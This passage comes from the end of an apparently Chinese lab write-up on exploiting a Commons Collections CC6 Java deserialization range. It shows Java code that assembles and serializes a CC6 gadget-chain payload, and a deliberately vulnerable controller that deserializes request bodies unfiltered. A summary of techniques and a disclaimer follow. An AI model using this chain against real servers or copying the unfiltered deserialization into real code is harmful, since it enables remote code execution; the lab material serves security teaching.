ChainedTransformer&nbsp;chainedTransformer&nbsp;=&nbsp;new&nbsp;ChainedTransformer(transformers);
// 2. 创建 TransformingComparatorTransformingComparator&nbsp;comparator&nbsp;=&nbsp;new&nbsp;TransformingComparator(chainedTransformer);
// 3. 创建 PriorityQueuePriorityQueue&nbsp;queue&nbsp;=&nbsp;new&nbsp;PriorityQueue(2, comparator);queue.add(1);queue.add(2);
// 4. 序列化ByteArrayOutputStream&nbsp;bos&nbsp;=&nbsp;new&nbsp;ByteArrayOutputStream();ObjectOutputStream&nbsp;oos&nbsp;=&nbsp;new&nbsp;ObjectOutputStream(bos);oos.writeObject(queue);byte[] payload = bos.toByteArray();

靶场中的反序列化点

VulnController.java

@PostMapping(value = "/data/import", consumes = MediaType.APPLICATION_OCTET_STREAM_VALUE)public&nbsp;ResponseEntity<Map<String, Object>>&nbsp;dataImport(@RequestBody(required = false)&nbsp;byte[] body)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp;&nbsp;Object&nbsp;obj&nbsp;=&nbsp;deserialize(decoded); &nbsp;// 危险!&nbsp; &nbsp;&nbsp;// ...}
@PostMapping(value = "/legacy/sync", consumes = {MediaType.TEXT_PLAIN_VALUE, MediaType.APPLICATION_OCTET_STREAM_VALUE})public&nbsp;ResponseEntity<Map<String, Object>>&nbsp;legacySync(@RequestBody(required = false)&nbsp;byte[] body)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp;&nbsp;// ...&nbsp; &nbsp;&nbsp;Object&nbsp;obj&nbsp;=&nbsp;deserialize(decoded); &nbsp;// 危险!&nbsp; &nbsp;&nbsp;// ...}
private&nbsp;Object&nbsp;deserialize(byte[] data)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp;&nbsp;try&nbsp;(ObjectInputStream&nbsp;ois&nbsp;=&nbsp;new&nbsp;ObjectInputStream(new&nbsp;ByteArrayInputStream(data))) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ois.readObject(); &nbsp;// 直接反序列化,没有任何过滤&nbsp; &nbsp; }}

防护机制对比


总结

关键技术点

  1. JS 逆向

    :从混淆的 JS 中提取密钥和接口

  2. AES-CBC 加密

    :理解对称加密的加解密过程

  3. HMAC-SHA256 签名

    :理解消息认证码的生成和验证

  4. Java 反序列化

    :理解反序列化漏洞的原理和利用

  5. Commons Collections

    :掌握 CC6 链的构造和调用过程

学习建议

  1. 动手实践

    :在本地搭建靶场,尝试两种攻击路径

  2. 代码审计

    :阅读源码,理解每个防护机制的实现

  3. 工具使用

    :熟练使用 ysoserial、Burp Suite 等工具

  4. 原理学习

    :深入理解 Java 反序列化的底层机制

  5. 防御思维

    :从攻击者角度思考如何防御


凌曦安全 · 更多靶场和课程:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3

外部交流群(欢迎进群互相交流):由于群人数超过了200,只能邀请拉群,可以关注公众号,后台回复“加群”,获取助手绿泡泡,联系小助手进交流群


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌曦安全 凌曦安全 凌曦安全《凌曦安全:CC6 反序列化靶场 WriteUp》

评论:0   参与:  0